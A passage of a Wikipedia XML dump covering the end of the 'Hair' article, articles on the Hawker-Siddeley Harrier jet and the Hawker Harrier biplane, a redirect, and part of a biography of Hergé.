*[[haircut]], [[curls]], [[dreadlocks]], [[braid]]s, [[ponytail]]s, [[wig]]s, decorative [[hairpin]]s, the way the hair is combed or otherwise arranged, or disarranged.

Hair spray, gel, etc. may be used for fixation of the arrangement and may also make it shiny.

It is commonly claimed that hair and nails will continue growing for several days after death. This is a myth; the appearance of growth is actually caused by the retraction of skin as the surrounding tissue dehydrates, making nails and hair more prominent.

The hair shafts may also store certain [[poison]]s for years, even decades, after death. In the case of Col. [[Lafayette Baker]], who died [[July 3]], [[1868]], use of an atomic absorption spectrophotometer showed the man was killed by white [[arsenic]]. The prime suspect was [[Wallace Pollock|Wally Pollack]], Baker's brother-in-law. According to Dr. [[Ray A. Neff]], Pollack had laced Baker's beer with it over a period of months, and a century or so later minute traces of arsenic showed up in the dead man's hair. Mrs. Baker's [[diary]] seems to confirm that it was indeed arsenic, as she writes of how she found some vials of it inside her brother's suitcoat one day.

==End material==
===See also=== 
* [[Facial hair]]
* [[Pubic hair]]
* [[Hirsutism]]
* [[Baldness]]
* [[Depilation]]
* [[Widow's peak]]
* [[Cowlick]]
* [[Social role of hair]]
* [[Blond]]
* [[Brunette]]
* [[Red hair]]
* [[Trichophilia]]
* [[Trichotillomania]]

===References===
*{{note|halfofmen}}[http://nl.newsbank.com/nl-search/we/Archives?s_site=ozarksnow&amp;f_site=ozarksnow&amp;f_sitename=Springfield+News-Leader+%28MO%29&amp;p_theme=gannett&amp;p_product=SNLB&amp;p_action=search&amp;p_field_base-0=&amp;p_text_base-0=baldness&amp;Search=Search&amp;p_perpage=10&amp;p_maxdocs=200&amp;p_queryname=700&amp;s_search_type=keyword&amp;p_sort=_rank_%3AD&amp;p_field_date-0=YMD_date&amp;p_params_date-0=date%3AB%2CE&amp;p_text_date-0= &quot;Uncovering the bald truth about hair loss.&quot;] ''Springfield News-leader'', May 10, 2005.  &quot;Half of men&quot; estimate is made by the American Academy of Dermatology and specifically estimates prevalence in the U.S. population, though this should reflect prevalence in other populations. 

===External links===
*[http://answers.google.com/answers/threadview?id=122411 Discussion about shaving and cultures]

{{integumentary_system}}

[[Category:Human appearance]]
[[Category:Integumentary system]]
[[Category:Animal anatomy]]
&lt;!-- The below are interlanguage links. --&gt;

[[cs:Vlas]]
[[da:Hår]]
[[de:Haar]]
[[es:Pelo]]
[[eo:Haro]]
[[fa:مو]]
[[fi:Hiukset]]
[[fr:Pilosité humaine]]
[[gl:Pelo]]
[[he:שיער]]
[[io:Haro]]
[[ja:毛 (動物)]]
[[ko:머리카락]]
[[lt:Plaukas]]
[[ms:Rambut]]
[[nl:Haar]]
[[no:Hår]]
[[pt:Cabelo]]
[[ru:Волосы]]
[[simple:Hair]]
[[sk:Vlas]]
[[sv:Hår]]
[[vi:Lông]]
[[zh:頭髮]]</text>
    </revision>
  </page>
  <page>
    <title>Hawker-Siddeley Harrier</title>
    <id>14314</id>
    <revision>
      <id>41736012</id>
      <timestamp>2006-03-01T11:03:48Z</timestamp>
      <contributor>
        <username>Jaganath</username>
        <id>789583</id>
      </contributor>
      <minor />
      <comment>/* Harrier GR.Mk 3 */</comment>
      <text xml:space="preserve">{| cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;margin:3px; border:3px solid #87CEEB;width:30%;&quot; align=&quot;right&quot;
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom:3px solid&quot;|Hawker Siddeley Harrier
|-
|colspan=&quot;3&quot; align=&quot;center&quot;|[[Image:Harrier.gr7.750pix.jpg|300px]]&lt;br/&gt;''RAF Harrier GR7''
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Description
|-
|Role||colspan=&quot;2&quot;|Close-support and reconnaissance
|-
|Crew||colspan=&quot;2&quot;|
|-
|First flight||colspan=&quot;2&quot;|
|-
|Entered service||colspan=&quot;2&quot;|1969
|-
|Manufacturer||colspan=&quot;2&quot;|Hawker Siddeley/BAe
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Dimensions
|-
|Length|| ft  in||13.90 m
|-
|Wingspan|| ft  in|| 7.70 m
|-
|Height|| ft  in|| 3.45 m
|-
|Wing area|| ft&amp;sup2;|| m&amp;sup2;
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Weights
|-
|Empty|| lb|| 5530 kg
|-
|Loaded|| lb|| 7830 kg
|-
|Maximum takeoff|| lb|| 11,500 kg
|-
|Capacity||colspan=&quot;2&quot;|
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Powerplant
|-
|Engines||colspan=&quot;2&quot;|1 Rolls-Royce Bristol Pegasus 101 turbofan
|-
|Thrust|| 19,000 lbf|| 85 kN
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Performance
|-
|Maximum speed|| mph|| 1185 km/h
|-
|Combat range|| mile|| km
|-
|Ferry range|| miles|| km
|-
|Service ceiling|| ft|| 15,000 m
|-
|Rate of climb|| ft/min|| m/min
|-
|Wing loading|| lb/ft&amp;sup2;|| kg/m&amp;sup2;
|-
|Thrust/weight||colspan=&quot;2&quot;|
|-
|Power/mass|| hp/lb|| kW/kg
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Avionics
|-
|Avionics||colspan=&quot;2&quot;|
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Armament
|-
|Guns||colspan=&quot;2&quot;|2 x external 30 mm [[Aden cannon]] pods
|-
|Bombs||colspan=&quot;2&quot;| various
|-
|Missiles||colspan=&quot;2&quot;| [[Martel (missile)|AS-37 Martel]] or [[AIM-9 Sidewinder|AIM-9D]] guided missiles
|-
|Rockets||colspan=&quot;2&quot;|
|-
|Other||colspan=&quot;2&quot;|Reconnaissance pod or fuel tanks
|-
|}
''See also [[BAE Sea Harrier]]''

The '''Hawker-Siddeley Harrier''' and the AV-8A are the first generation of the Harrier series, a revolutionary close-support and reconnaissance [[fighter aircraft]] with unique [[STOL|V/STOL]] capabilities. The family is part of a large family of experimental versions and service aircraft, including the much modernized [[Harrier II]]. 

The Harrier continues to serve today as the [[RAF Harrier II|Harrier GR.Mk 7 and GR.Mk 9]] and [[AV-8B]] which are built by [[BAE Systems]] and [[Boeing]].  The current operational British Harriers (GR.Mk 7 and GR.Mk 9) are license-built versions of the [[McDonnell Douglas]] (now Boeing) version, respectively the AV-8B Harrier II and AV-8B+ Harrier II Plus.

The aircraft is also notable for its complicated history intertwined deeply with United States, Britain, and the Cold War. Key points of involvement include funding from the United States via the [[Mutual Weapons Development Program]] (MWDP) and the nature of the [[AV-16A Advanced Harrier Program]] which led to the Harrier II family.  

== Variants ==

===Hawker P.1127===
&lt;!-- THIS SECTION IS A SUMMARY. CONSIDER ADDING MATERIAL TO THE 'Hawker P.1127' ARTICLE.--&gt;
{{main|Hawker P.1127}}

The Harrier family was started with the Hawker P.1127. Design began in 1957 by Sir [[Sidney Camm]], Ralph Hooper of [[Hawker Aviation]] and Stanley Hooker of the [[Bristol Engine Company]]. Rather than using rotors or a direct jet thrust the P.1127 had an innovative [[thrust vectoring|''vectored thrust'']] [[jet engine|turbofan engine]] and the first vertical take-off was on [[October 21]], [[1960]]. Six prototypes were built in total, one of which was lost at an air display.

===Hawker Siddeley Kestrel===
The P.1127 was renamed Kestrel after [[Hawker Siddeley Aviation]] was created. The Kestrel was an evaluation aircraft, and nine were produced, the first flying on [[March 7]], [[1964]]. The Kestrel had fully swept wings and a larger tail than the P.1127, and the fuselage was modified to take the larger 15,000 lbf (85 kN) Pegasus engine.
Due to interest from the US and Germany the Tri-partite Evaluation Squadron was formed, staffed by military test pilots from [[United Kingdom|Britain]], the [[United States|US]] and [[West Germany]]. After testing at [[RAF West Raynham]], the eight surviving evaluation aircraft were transferred to the USA for evaluation by the Army, [[USAF|Air Force]] and Navy (including [[USMC]]) as the [[XV-6A]]. After Tri-Service evaluation they were passed to the USAF for further evaluation at [[Edwards AFB]].

An order for 60 aircraft was received from the [[Royal Air Force|RAF]] in 1966, and the first pre-production Harriers were flying by mid-1967.

===Harrier GR.1===
The Harrier GR Mk.1 was the first production model taken from the Kestrel, it first flew on [[December 28]], [[1967]], and entered service with the RAF on [[April 1]], [[1969]]. Construction took place at factories in [[Kingston-upon-Thames]] in southwest London and at Dunsfold, Surrey. The latter adjoined an airfield used for flight testing; both factories have since closed. The ski-jump technique for STOL use by Harriers launched from Royal Navy [[aircraft carrier]]s was tested at the Royal Navy's airfield at Yeovilton, [[Somerset]]. Their flight decks were designed with an upward curve to the bow following the successful conclusion of those tests. The air combat technique of [[vectoring in forward flight]], or viffing, was evolved in the Harrier to outmaneuver a hostile aircraft or other inbound weapon.

===Harrier GR.1A===
The GR.Mk 1A was an upgraded version of the GR.Mk 1, the main difference being the uprated Pegasus Mk 102. 58 GR.Mk 1As entered RAF service, 17 GR.Mk 1As were produced and a further 41 GR.Mk 1s were upgraded.

===Harrier GR.Mk 3===
The Harrier GR.3 featured improved sensors, countermeasures and a further uprated Pegasus Mk 103 and was to be the ultimate development of the 1st generation Harrier. This model saw extended service in the [[Falklands War]]. ''(See Service History bellow)''

== Specification (GR1 data) ==

=== Dimensions ===
*Length: 13.90 m
*Height: 3.45 m
*Span: 7.70 m

=== Power plant ===
1 [[Rolls-Royce plc|Rolls--Royce]] Bristol [[Rolls-Royce Pegasus|Pegasus]] 101 turbofan with four swivelling nozzles, generating 19,000 lb (85 kN) of thrust.  

In addition the engine supplied four 'puffer jets' with high pressure air with a total of 1,000 lbf (4 kN) thrust. These were in the nose, the wing tips, and one (steerable) on the tail.  These were linked to the control column and gave stability when in vertical flight and the normal control surfaces did not contribute control.

=== Armament ===
There was no internal armament. Two 30-mm [[Aden cannon]] [[Gun pod|pods]] could be fitted under the fuselage sides. There were an additional four underwing and one under-fuselage pylon hard-points to carry various loadouts, including bombs, unguided rocket pods, the Martel or [[AIM-9 Sidewinder|AIM-9D]] guided missiles, reconnaissance pod or fuel tanks

The RAF ordered 118 of the GR Mk.1 to 3 series Harrier. The AV-8A for the [[USMC]] and the Spanish airforce was very similar and 113 craft were ordered.

* '''1st generation Harriers'''
** Hawker P.1127 (1960)
** Hawker Siddeley F(GA).1 Kestrel (1964)
** Hawker Siddeley Harrier GR.Mk 1 (1966)
** Hawker Siddeley Harrier GR.Mk 1/1A (1969)
** Hawker Siddeley Harrier GR.Mk 3/3A 
** [[BAE Sea Harrier|British Aerospace Sea Harrier FRS.Mk 1]] (1979)
** [[BAE Sea Harrier|British Aerospace Sea Harrier FRS.Mk 51]] (1983)
** British Aerospace Sea Harrier T.Mk 60
** [[BAE Sea Harrier|British Aerospace Sea Harrier FA.Mk 2]] (1988)
** Hawker Siddeley Harrier T.Mk 2/2A (1970)
** Hawker Siddeley Harrier T.Mk 4/4A
** Hawker Siddeley Harrier T.Mk 4N
** British Aerospace Harrier T.Mk 8 (1994)

** AV-8A Harrier (USMC version, 1970)
** TAV-8A Harrier
** AV-8C Harrier (Upgraded AV-8As for the US Marine Corps)
** AV-8S Matador (for Spain, 1983)
** TAV-8A Matador

* '''2nd generation (Harrier IIs)'''
** [[AV-8 Harrier II|McDonnell Douglas-BAe AV-8B Harrier II]] (1983)
** British Aerospace-McDonnell Douglas Harrier GR.Mk 5/5A (1985)
** British Aerospace-McDonnell Douglas Harrier GR.Mk 7 (1992)
** [[RAF Harrier II|British Aerospace Harrier T.Mk 10]]
** McDonnell Douglas-BAe AV-8B Harrier II Plus (1992)

The later model Harriers are easily distinguished by their extended wingspan, the wings extending beyond the outrigger wheels that are at the wingtips of the earlier versions (including Kestrel prototypes and the Sea Harrier).

==Controls and handling==

While the Harrier is one of the most flexible aircraft ever made, the necessary understanding and skill to pilot it are considerable. In addition to being able to effectively pilot the Harrier in full forward flight mode (above stall speed when it behaves in the manner of a typical fixed-wing aircraft), it is necessary to maintain control during [[VTOL]] and [[STOL]] manouvres when the lift and control surfaces are not functional. This requires skills and understanding more associated with helicopters. Most militaries thus demand great aptitude and extensive training, with prior experience of piloting both types of aircraft. Many only recruit trainee pilots from the most experienced and skilled helicopter pilots in their organisations.

The Harrier has two control elements that a fixed wing aircraft does not normally have. These are the thrust vector and reaction control. The thrust vector is the angle of the four engine nozzles and can be set between zero degrees (horizontal, pointing straight back) and 98 degrees (pointing slightly forwards). The 90 degree position is generally used for VTOL manouvring. Thrust vector is adjusted by a control similar to and beside the thrust lever. The reaction control is achieved by manipulating the control stick and is similar in action to the cyclic control of a helicopter. While irrelevant during forward flight mode, these controls are critical during VTOL and STOL, and have to be precisely manipulated in concert during these manouvres. Wind direction and the orientation of the aircraft to this is also critically-important during VTOL manouvres (in this sense operation is limited compared with a helicopter, which can take off and land in side winds). The Harrier's landing gear configuration also complicates normal landing; it is necessary to ensure that the wing-mounted stabiliser struts contact the runway simultaneously; bounce or skew to one side can result if this is not achieved.

The procedure for VTOL involves parking the aircraft facing into the wind. The aircraft is brought to a halt, throttle to idle, wheels locked. The thrust vector is set to 90 degrees and the throttle brought up to maximum. The aircraft leaves the ground rapidly. The throttle is trimmed until a hover state is achieved at the desired altitude. During the ascent and hover, the reaction control system is continuously adjusted to maintain position over the patch of ground, much as it is with a helicopter. The aircraft has to face into the wind when taking off in this way. A side wind causes the aircraft to pitch away from the lee side. This would alter the thrust vector away from vertical and cause the aicraft to slew sideways. This is hard to control and very dangerous. In severe cases the aircraft can [[settling with power|settle with power]] while moving to the side. While taking off in windy conditions is always more difficult when within ground effect, it is easier to maintain heading away from the ground effect as the tailplane tends to stabilise the heading into the wind. At hover, the thrust vector is slowly returned to horizontal while the altitude and [[angle of attack]] is maintained in a specified range. At or shortly after normal take off airspeed, the thrust vector is set to horizontal and thrust is usually trimmed back to control acceleration.

The STOL procedure involves proceeding with normal take off and then applying a specified thrust vector (less than 90 degrees) at a specified runway speed below normal take off speed. For lower take off speeds, the thrust vector applied is greater. The vector and thrust is then then trimmed appropriately until take off airspeed is achieved. Several procedures have been described for different runway lengths.

In forward flight mode, the harrier is at an advantage compared with fixed wing aircraft in that in the event of stalling, recovery is possible by quickly adjusting the thrust vector and throttle. For STOL and VTOL landing, it is necessary to drop below the normal stall speed and apply this method (against all the instincts of the trained fixed wing pilot). The thrust vector control allows for the engine knozzles to be adjusted to a maximum stop of 98 degrees. This facilitates backward motion as needed but is not normally applied during VTOL as the heading into the wind tends to require some forward thrust via attitude control to maintain a fixed hovering position.

== Service History ==

The Sea Harrier which is based on the GR3 played a key role in the [[United Kingdom|British]] victory in the [[Falklands War]]. The Sea Harriers operated as air defence for the fleet. A total of twenty Sea Harriers were deployed from the carriers [[HMS Hermes (R12)|HMS ''Hermes'']] and [[HMS Invincible (R05)|''Invincible'']]. They inflicted serious losses on the Argentine air force destroying 23 aircraft in air-to-air combat. In all, three Sea Harriers were lost to ground fire, but none was lost to enemy aircraft. 

The Harrier GR.3 operated by the RAF also saw combat during the Falklands War. They operated from ''Hermes'' and provided close air support to the ground forces but could not destroy the [[Port Stanley]] runway.  If the Sea Harriers had been lost they would have filled the gaps but this was not needed. 


The RAF Harriers would not see further combat, the Hawker Siddeley airframes would be replaced by the larger [[RAF Harrier II|Harrier II]] developed by McDonnell Douglas. 

The Sea Harrier, now upgraded to FRS2, also saw combat during the Bosnia conflict, with one aircraft being shot down by [[Serbia]]n defences in 1994. During the [[Kosovo War]], combat air patrols were flown, but no weapons were fired. The Sea Harrier also made operational patrols over [[Iraq]] during the 12 years of enforcing no-fly zones.


The Sea Harrier and Harrier GR.7 forces were merged to formed [[Joint Force Harrier]] in 2000. With the retirement of the Sea Harrier by 2006 the RAF and RN will share the upgraded GR.9 fleet until the introduction of the [[F-35]] Joint Strike Fighter.


===RAF service===
'''Squadrons'''
*[[No. 1 Squadron RAF]]
*[[No. 3 Squadron RAF]]
*[[No. IV Squadron RAF]]

'''Locations'''
*[[RAF Cottesmore]]
*[[RAF Wittering]]

==Films and Video Games==
{{Commons|Hawker Siddeley Harrier}}
A two-seat version of the Harrier was seen in the [[James Bond]] movie ''[[The Living Daylights]]''.

An AV-8B was featured in the [[Arnold Schwarzenegger]] movie ''[[True Lies]]''.

In the video game [[Metal Gear Solid 2: Sons of Liberty]], a Harrier was under terrorist control.  The player gets an opportunity to shoot it down.

A [[Flight sim]] in development for PC, [http://www.thunder-works.com Jet Thunder], fully features the British Harrier and Sea Harrier used in [[Falklands War]].

In [[Command &amp; Conquer: Red Alert 2]], the Allies have the ability to construct Harriers once an Airforce Command HQ has been built.

An aircraft modelled on the Harrier and AV-8B, named the &quot;Hydra&quot;, is available in the [[video game]] [[Grand Theft Auto: San Andreas]] and can be flown in both VTOL and CTOL configurations.

In the anime [[Burn Up Excess]], Ruby, one of the main antagonists, pilots a Harrier in several episodes as her primary means of long-distance transport.

== External links ==

*[http://www.naval-history.net/F63braircraftlost.htm Harriers lost in the Falklands]


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!bgcolor=&quot;#cccccc&quot; colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom:1px solid&quot;|Variants
|-
|align=&quot;center&quot;|'''Hawker Siddeley Harrier''' - [[BAE Sea Harrier]] - [[RAF Harrier II]] - [[AV-8B Harrier II]] 
|-
|}
&lt;/font&gt;


&lt;br style=&quot;clear: both&quot;&gt;

{{airlistbox}}

[[Category:British fighter aircraft 1960-1969]]
[[Category:VTOL aircraft]]

[[de:Hawker Siddeley Harrier]]
[[fr:Hawker Siddeley Harrier]]
[[id:Hawker-Siddeley Harrier]]
[[ja:ハリアー_(航空機)]]
[[nl:Hawker Siddeley Harrier]]
[[no:Hawker Siddeley Harrier]]
[[pl:Harrier]]</text>
    </revision>
  </page>
  <page>
    <title>Hawker Harrier</title>
    <id>14315</id>
    <revision>
      <id>28762153</id>
      <timestamp>2005-11-19T17:25:46Z</timestamp>
      <contributor>
        <username>Alai</username>
        <id>147115</id>
      </contributor>
      <minor />
      <comment>sort stub</comment>
      <text xml:space="preserve">''For the [[VTOL]] jet, see [[Hawker-Siddeley Harrier]]''

 
The '''Hawker Harrier''' was an experimental biplane torpedo bomber aircraft built to a specification issued in the [[1920s]].

It was a two seater powered by a Bristol Jupiter VIII armed with one [[Vickers machine gun]] and one [[Lewis gun]] carrying either one [[torpedo]] or a maximum of 1,000 lb (~500 kg) of bombs.

{{bomber-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Houston street</title>
    <id>14316</id>
    <revision>
      <id>15911878</id>
      <timestamp>2005-02-14T13:23:47Z</timestamp>
      <contributor>
        <username>SPUI</username>
        <id>113059</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Houston Street (Manhattan)]]</text>
    </revision>
  </page>
  <page>
    <title>Hergé</title>
    <id>14317</id>
    <revision>
      <id>38944433</id>
      <timestamp>2006-02-09T18:14:35Z</timestamp>
      <contributor>
        <username>Hot &amp; Cold</username>
        <id>893085</id>
      </contributor>
      <text xml:space="preserve">{{Infobox Biography
|subject_name=Herg&amp;eacute;
|image_name=Georgesremi.jpg
|image_caption=
|date_of_birth=[[May 23]], [[1907]]
|place_of_birth=[[Brussels, Belgium]]
|date_of_death=[[March 3]], [[1983]]
|place_of_death=[[Brussels, Belgium]]}}

'''Georges Remi''' ([[May 23]], [[1907]] &amp;ndash; [[March 3]], [[1983]]), better known by the [[pen name]] '''Hergé''', was a [[Belgium|Belgian]] [[comics]] [[writer]] and [[artist]]. &quot;Hergé&quot; is the French pronunciation of &quot;R.G.&quot;, the reverse of his initials. His best-known and most substantial work is [[Tintin|''The Adventures of Tintin'']], which he wrote and illustrated from [[1929]] until his death in [[1983]], which left the twenty-fourth Tintin adventure, ''[[Tintin and Alph-Art|Tintin and Alph-art]]'', unfinished. His work remains a strong influence on comics, particularly in Europe. He was inducted into the [[Eisner_Award#The_Will_Eisner_Award_Hall_of_Fame|Comic Book Hall of Fame]] in [[2003]].

The notable qualities of the ''Tintin'' stories include their vivid humanism, a realistic feel produced by meticulous and wide-ranging research, and Hergé's ''[[ligne claire]]'' drawing style.

Other series that Hergé wrote and drew include ''[[Jo, Zette and Jocko]]'' and ''[[Quick &amp; Flupke]]'' (''Quick et Flupke'').

==Biography==
===Childhood and early career===
Georges Remi was born in [[1907]] in [[Etterbeek]], in [[Brussels]], [[Belgium]] to middle class parents, Alexis and Elisabeth Remi. His four years of [[elementary education|primary schooling]] coincided with [[World War I]] ([[1914]]&amp;ndash;[[1918]]), during which Brussels was occupied by the [[German Empire]]. Georges, who displayed an early affinity for drawing, filled the margins of his earliest schoolbooks with doodles of the German invaders. Except for a few drawing lessons which he would later take at Ecole Saint-Luc, he never had any formal training in the [[visual arts]].

In 1920, he began studying in the &quot;collège Saint-Boniface&quot;, a secondary school where the teachers were catholic priests. Georges joined the [[Guidisme et Scoutisme en Belgique|Boy Scouts]] troop of the school, where he was given the totemic name &quot;Renard curieux&quot; (Curious fox). His first drawings were published in ''Jamais assez'', the school's Scout paper, and, from 1923, in Le Boy-Scout Belge, the Scout monthly magazine. From 1924, he signs his illustrations using the pseudonym &quot;Hergé&quot;.

His subsequent comics work would be heavily influenced by the ethics of the scouting movement, as well as the early travel experiences he made with the scout association.

On finishing school in [[1925]], Georges worked at the Catholic newspaper ''Le XXe Siècle''. The following year, he published his first cartoon series, ''The Adventures of Totor'', in the scouting magazine ''Le Boy-Scout Belge''. In [[1928]], he was put in charge of producing material for the ''Le XXe Siècle's'' new weekly supplement for children, ''Le Petit Vingtième''. He began illustrating ''The Adventures of Flup, Nénesse, Poussette, and Cochonnet'', a strip written by a member of the newspaper's sports staff, but soon became dissatisfied with this series. He decided to create a comic strip of his own, which would adopt the recent American innovation of using [[speech balloon]]s to depict words coming out of the characters' mouths.

[[Image:TintinSoviets.jpg|thumb|left|''[[Tintin in the Land of the Soviets]]'' ([[1929]])]]
''[[Tintin in the Land of the Soviets]]'', by &quot;Hergé&quot;, appeared in the pages of ''Le Petit Vingtième'' on [[January 10]], [[1929]], and ran until [[May 8]], [[1930]]. The strip chronicled the adventures of a young reporter named Tintin and his pet [[foxhound]] Snowy (Milou) as they journeyed through the [[Soviet Union]]. The character of Tintin was inspired by Georges' brother Paul Remi, an officer in the Belgian army.

In January [[1930]], Hergé introduced ''Quick &amp; Flupke'' (''Quick et Flupke''), a new comic strip about two street urchins from Brussels, in the pages of ''Le Petit Vingtième''. For many years, Hergé would continue to produce this less well-known series in parallel with his Tintin stories. In June, he began the second Tintin adventure, ''[[Tintin in the Congo]]'' (then the [[colony]] of [[Belgian Congo]]), followed by ''[[Tintin in America]]'' and ''[[Cigars of the Pharaoh]]''.

In [[1932]], he married Germaine Kieckens, the secretary of the director of the ''Le XXe Siècle''. They had no children, and would eventually divorce in [[1975]].

The early Tintin adventures each took about a year to complete, upon which they were released in book form by the Casterman publishing house. Hergé would continue revising these stories in subsequent editions, including a later conversion to colour. However, he would also express embarrassment over the ill-informed and prejudiced views expressed in these works. For instance, an infamous scene in ''Tintin in the Congo'' had Tintin giving a geography [[lesson]] to native students in a missionary school. &quot;My dear friends,&quot; exclaimed Tintin, &quot;today I am going to talk to you about your country: Belgium!&quot; In a later edition, the scene was changed into an arithmetic lesson.

[[Image:TintinLotus.jpg|thumb|right|''[[The Blue Lotus]]'' ([[1936]])]]
Hergé reached a watershed with ''[[The Blue Lotus]]'', the fifth Tintin adventure. At the close of the previous ''Tintin'' strip, ''Cigars of the Pharaoh'', he had mentioned that Tintin's next adventure would bring him to [[China]]. Father Gosset, the chaplain to the Chinese students at the [[University of Leuven]], wrote to Hergé urging him to be sensitive about what he wrote about China. Hergé agreed, and in the spring of [[1934]] Gosset introduced him to [[Chang Chong-jen]] (Chang Chongren), a young sculpture student at the Brussels Académie des Beaux-Arts. The two young artists quickly became close friends, and Chang introduced Hergé to Chinese history, culture, and the techniques of [[Chinese art]]. As a result of this experience, Hergé would strive in ''The Blue Lotus'', and in subsequent Tintin adventures, to be meticulously accurate in depicting the places which Tintin visited. As a token of appreciation, he added a fictional &quot;[[Chang Chong-Chen]]&quot; to ''The Blue Lotus'', a young Chinese boy who meets and befriends Tintin. In the book, the fictional Chang serves to dispell some of the more outrageous fabrications about Chinese culture. 

As another result of his friendship with Chang, Hergé became increasingly aware of the problems of [[colonialism]], in particular the [[Japan|Japanese Empire's]] advances into China. ''The Blue Lotus'' carries a bold anti-imperialist message, contrary to the prevailing view in the West, which was sympathetic to Japan and the colonial enterprise. As a result, it drew sharp criticism from various parties, including a protest by Japanese diplomats to the Belgian Foreign Ministry. However, the passage of time has since vindicated Hergé's views.

At the end of his studies in Brussels, Chang returned home to China, and Hergé lost contact with him during the invasion of China by Japan and the subsequent [[Chinese Civil War|civil war]]. More than four decades would pass before the two friends would meet again.

===World War II===
The [[World War II|Second World War]] broke out on [[September 1]], [[1939]] with the [[Nazi Germany|Nazi]] invasion of [[Poland]]. Hergé was mobilized as a reserve lieutenant, and had to interrupt Tintin's adventures in the middle of ''[[Land of Black Gold]]''. Nevertheless, by the summer of [[1940]], Belgium had fallen to Germany with the rest of [[Continental Europe]].

''Le Petit Vingtième'', in which Tintin's adventures had hitherto been published, was shut down by the Nazi occupation. However, Hergé accepted an offer to produce a new Tintin strip in ''[[Le Soir]]'', Brussels' leading French daily, which had been appropriated as the mouthpiece of the occupation forces. He had to leave ''The Land of the Black Gold'' unfinished, due to its anti-fascist overtones, launching instead into ''[[The Crab with the Golden Claws]]'', the first of six Tintin stories which he would produce during the war. 

As the war progressed, two factors arose that led to a revolution in Hergé's style. Firstly, paper shortages forced Tintin to be published in a daily three or four-frame strip, rather than two full pages every week which had been the practice on ''Le Petit Vingtième''. In order to create tension at the end of each strip rather than the end of each page, Hergé had to introduce more frequent gags and faster-paced action. Secondly, Hergé had to move the focus of Tintin's adventures away from current affairs, in order to avoid controversy. He turned to stories with an escapist flavour: an expedition to a meteorite (''[[The Shooting Star]]''), a treasure hunt (''[[The Secret of the Unicorn]]'' and ''[[Red Rackham's Treasure]]''), and a quest to undo an ancient [[Inca]] curse (''[[The Seven Crystal Balls]]'' and ''[[Prisoners of the Sun]]'').

In these stories, Hergé placed more emphasis on characterization than on the plot, and indeed Tintin's most memorable companions, [[Captain Haddock]] and [[Cuthbert Calculus]] (In French Professeur Tryphon Tournesol), were introduced at this time. Haddock debuted in ''The Crab with the Golden Claws'' and Calculus in ''Red Rackham's Treasure''. The impact of these changes were not lost on the readers; in reprint, these stories have proven to be amongst the most popular.

In [[1943]], Hergé met [[Edgar Pierre Jacobs]], another comics artist, whom he hired to help revise the early Tintin albums. Jacob's most significant contribution would be his redrawing of the costumes and backgrounds in the revised edition of ''[[King Ottokar's Sceptre]]''. He also began collaborating with Hergé on a new Tintin adventure, ''The Seven Crystal Balls'' (see above).

===Post-war troubles===
The occupation of Brussels ended on [[September 3]], [[1944]]. Tintin's adventures were interrupted toward the end of ''[[The Seven Crystal Balls]]'' when the [[Allies | Allied]] authorities shut down ''Le Soir''. During the chaotic post-occupation period, Hergé was arrested four times by different groups. He was publicly accused of being a [[Nazi]]/[[Rexism|Rexist]] sympathizer, a claim which was largely unfounded, as the Tintin adventures published during the war were scrupulously free of politics (the only dubious point occurring in ''[[The Shooting Star]]'', which showed a rival scientific expedition flying the [[Flag of the United States]]). In fact, the stories published before the war had been unequivocally critical of [[fascism]]; most prominently, ''[[King Ottokar's Sceptre]]'' showed Tintin working to defeat a thinly-veiled allegory of the [[Anschluss]], [[Nazi Germany]]'s takeover of [[Austria]]. Nevertheless, like other former employees of the Nazi-controlled press, Hergé found himself barred from newspaper work. He spent the next two years working with Jacobs, as well as a new assistant, Alice Devos, adapting many of the early Tintin adventures into colour.

Tintin's exile ended on [[September 6]], [[1946]]. The publisher and wartime resistance fighter [[Raymond Leblanc]] provided the financial support and anti-Nazi credentials to launch ''[[Tintin (magazine)|Tintin magazine]]'' with Hergé. The weekly publication featured two pages of Tintin's adventures, beginning with the remainder of ''[[The Seven Crystal Balls]]'', as well as other comic strips and assorted articles. It became highly successful, with circulation surpassing 100,000 every week.

Tintin had always been credited as simply &quot;by Hergé&quot;, without mention of Edgar Pierre Jacobs and Hergé's other assistants. As Jacobs' contribution to the production of the strip increased, he began demanding a joint credit. Hergé refused and ended their hitherto fruitful collaboration. Jacobs then went on to produce his own comics for ''Tintin magazine'', including the widely-acclaimed ''[[Blake and Mortimer]]''.

===Personal crises===
The increased demands which ''Tintin magazine'' placed on Hergé began to take their toll. In [[1949]], while working on the new version of ''[[Land of Black Gold]]'' (the first version had been left unfinished by the outbreak of [[World War II]]), Hergé suffered a nervous breakdown and was forced to take an abrupt four month-long break. He suffered another breakdown in early [[1950]], while working on ''[[Destination Moon (Tintin)|Destination Moon]]''.

In order to lighten Hergé's workload, the Hergé Studios was set up on [[April 6]], [[1950]]. The studio employed a variety of assistants to help Hergé in producing the adventures of Tintin. Foremost amongst these was the artist [[Bob De Moor]], who would
collaborate with Hergé on the remaining Tintin adventures, filling in details and backgrounds such as the spectacular [[Moon|lunar]] [[landscape]]s in ''[[Explorers on the Moon]]''. With the aid of the studio, Hergé managed to produce ''[[The Calculus Affair]]'' (regarded by some as his most polished work) in [[1954]], followed by ''[[The Red Sea Sharks]]'' in [[1956]].

[[Image:Tintinautibet.gif|right|thumb|''[[Tintin in Tibet]]'' ([[1958]])]]

By the end of this period, his personal life was again in crisis. His marriage with Germaine was breaking apart after twenty-five years; he had fallen in love with Fanny Vlaminck, a young artist who had recently joined the Hergé Studios. Furthermore, he was plagued by recurring [[nightmare]]s filled with whiteness. He consulted a Swiss [[psychoanalyst]], who advised him to give up working on Tintin. Instead, he launched into ''[[Tintin in Tibet]]'', possibly the most powerful of the Tintin stories.

